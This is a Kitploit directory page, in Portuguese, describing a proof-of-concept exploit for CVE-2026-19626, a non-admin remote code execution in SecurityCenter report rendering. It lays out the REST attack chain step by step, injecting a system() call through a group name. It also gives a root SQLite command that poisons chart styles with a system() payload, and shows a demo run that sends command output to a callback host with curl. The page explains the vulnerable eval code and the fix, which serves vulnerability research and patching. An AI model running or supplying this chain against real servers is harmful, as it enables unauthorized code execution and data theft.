Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2026-19626 — Exploit de prova de conceito para CVE-2026-19626, uma execução remota de código autenticada na geração de relatórios do SecurityCenter, demonstrando uma cadeia sem privilégios de administrador via injeção de nome de grupo e eval em PHP. | Kitploit
Ferramentas/GitHubGitHub/h00die/poc-cve-2026-19626
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubh00die/poc-cve-2026-19626

POC-CVE-2026-19626

Exploit de prova de conceito para CVE-2026-19626, uma execução remota de código autenticada na geração de relatórios do SecurityCenter, demonstrando uma cadeia sem privilégios de administrador via injeção de nome de grupo e eval em PHP.

Ver Repositório
há 15h 56mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

infoGraphic

CVE-2026-19626 — RCE na geração de relatórios (autenticado, não-admin)

Status: CONFIRMADO — puramente REMOTO, não-admin, somente REST (laboratório 6.7.2-14.el9, 2026-08-21).

A cadeia armada (isto é o que o poc.py faz):

  1. faça login como qualquer usuário comum da organização
  2. POST /rest/group com name: "{=system('<cmd>')}" — chaves/aspas aceitas literalmente (o controller de grupos não tem verificação de charset)
  3. POST /rest/reportDefinition — relatório PDF, um componente pieChart, consulta user/sumgroup, labelColumns: groupID
  4. POST /rest/reportDefinition/{id}/launch
  5. Na renderização, substituteParams() substitui o placeholder pelo nome do grupo ANTES do loop de eval de executar — o payload cai dentro da string de formato e dispara como tns
{label}
{=...}
eval("$expr = system('<cmd>');")
  • O valor de retorno de system() é substituído de volta no label — a saída do comando é renderizada na legenda do gráfico de pizza do relatório final (o canal de exfiltração)
  • Marcador /tmp/pwn_label criado por esta cadeia exata (sem acesso a DB, sem escrita de estilo, sem upload de arquivo). Observe que o grupo com zero membros ainda produz um setor — a agregação sumgroup o inclui.

    Adicionalmente confirmado por invocação direta e envenenamento de estilo por pipeline completo (ver histórico abaixo): o sink de eval está ativo na substituteParams() distribuída, e um atributo de estilo legendFormat padrão envenenado dispara em QUALQUER renderização de gráfico de pizza, incluindo relatórios não pertencentes a admin.

    Ressalva de entrega (por que o PoC puramente REST estagna): o objeto style embutido da definição do relatório — onde o PoC planta legendFormat/labelFormat — é armazenado literalmente em xmlDefinition mas descartado na renderização: getReport(CONTEXT_RENDER) reidrata os componentes a partir das tabelas normalizadas e sobrescreve $component['style'] com StyleLib::getComponentStyle() (buscado por styleID). O controller de importação de estilo existe (Styles::add, analisa um arquivo XML enviado via xmlToStyles, com a verificação admin-only comentada) mas nenhuma rota para ele é exposta — uma rajada de 12 verbos/caminhos (style, styles, style::add, style/import × POST/PUT/PATCH, com um nome de arquivo em staging válido) todos retornam erro 10, e o bundle da UI contém zero chamadas a endpoints de estilo. A entrega puramente remota portanto exige um caminho de escrita de estilo que o 6.7.2 não expõe; a cadeia renderizada foi demonstrada via o atributo de estilo diretamente.

    Vulnerabilidade

    /opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 e anteriores):

    • linha 8283 — eval("\$expr = {$exprs[1]};") em substituteParams(). As strings de formato de legenda/label de gráficos de pizza ($style['legendFormat'] / $style['labelFormat'], linhas 4952/4983) suportam placeholders {=<aritmético>}, ex.: o padrão embutido {={sector}+1}. O corpo da expressão é conteúdo de definição de relatório fornecido pelo usuário → PHP arbitrário.
    • linhas 5538 / 5714 — eval("\$sectorLabels->setBackground($labelStyle);") com labelStyling vindo do estilo do gráfico. A proteção do 6.8.0 era if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rejeita somente ;; system('cmd') passa.
    • linha 6125 — porta if (is_callable($matches['name'])) para especificações de forma de barra como circleShape(10). system(id) passa pela porta. O comentário da correção no 6.9.0 afirma diretamente: "is_callable() NÃO é uma porta segura (is_callable("system") === true)".

    Qualquer usuário da organização com direitos de definição de relatório alcança os três na renderização (generateReport.php / Jobd). ReportDefinitions::launch() recusa ROLE_ADMIN — a classe de bug é explicitamente não-admin.

    A saída do comando é substituída de volta no texto do label, então o relatório renderizado é o canal de exfiltração.

    Correção (6.9.0)

    eval() removido; expressões {=...} restritas a /^[0-9.\s()+\-*\/]+/ e avaliadas por um tokenizador; resolveLabelStyleArgs() analisa estilização de label em uma lista de argumentos; isAllowedBarShapeFunction() com allowlist de parâmetros somente numéricos.

    PoC

    root@kitploit:~
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
    

    Injeção de label no nome do grupo (a cadeia remota acima): cria o grupo com nome-payload, monta o relatório sumgroup, lança e faz polling pelo resultado renderizado — a saída do comando aparece na legenda do gráfico de pizza do relatório final. Restrição do payload: sem caracteres } (o regex {=...} é não-guloso até a primeira chave); a saída do comando viaja pela substituição do label, então leia-a do relatório ou verifique via marcador/temporização.

    Notas de anatomia (por que as cadeias óbvias estagnam)

    • O style.legendFormat/labelFormat embutido da definição é armazenado literalmente em xmlDefinition mas descartado na renderização — componentes reidratam estilos das tabelas de Style via styleID (o contexto de renderização do ReportDefinitionLib sobrescreve $component['style'] com StyleLib::getComponentStyle()).
    • O controller de importação de estilo existe (Styles::add, verificação admin comentada, analisa um XML enviado via xmlToStyles) mas nenhuma rota está conectada — 12 combinações verbo/caminho (incl. sub-recurso /rest/style/{id}) todas retornam erro 10, e o bundle da UI contém zero chamadas a endpoints de estilo.
    • O caminho do valor do label não precisa de nada disso: a substituição de {label} precede o loop de eval, então QUALQUER label influenciado por atacante (nome de grupo aqui; campos de perfil de usuário e hostnames de ativos escaneados têm a mesma forma) carrega o payload.

    Comandos de confirmação em laboratório

    root@kitploit:~
    # sink direto (na máquina)
    /opt/sc/support/bin/php /tmp/t.php   # requer defines+phpchartdir+ReportChartingLib
    
    # envenenamento de estilo (root) + qualquer lançamento de relatório
    /opt/sc/support/bin/sqlite3 /opt/sc/application.db \
      "UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
       WHERE attribute='legendFormat' AND styleID IN (19,20)"
    # restaurar: DELETE dessas linhas de atributo (volta aos padrões embutidos)
    

    Demonstração

    root@kitploit:~
    $ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
    [*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
    [+] authenticated, token 21137241...
    [+] created group carrying payload name (id 9)
    [+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
    [+] report launched — chart render evals the group-name payload
    [*] waiting for output callback ...
    [+] command output:
    uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0
    
    Baixar ferramenta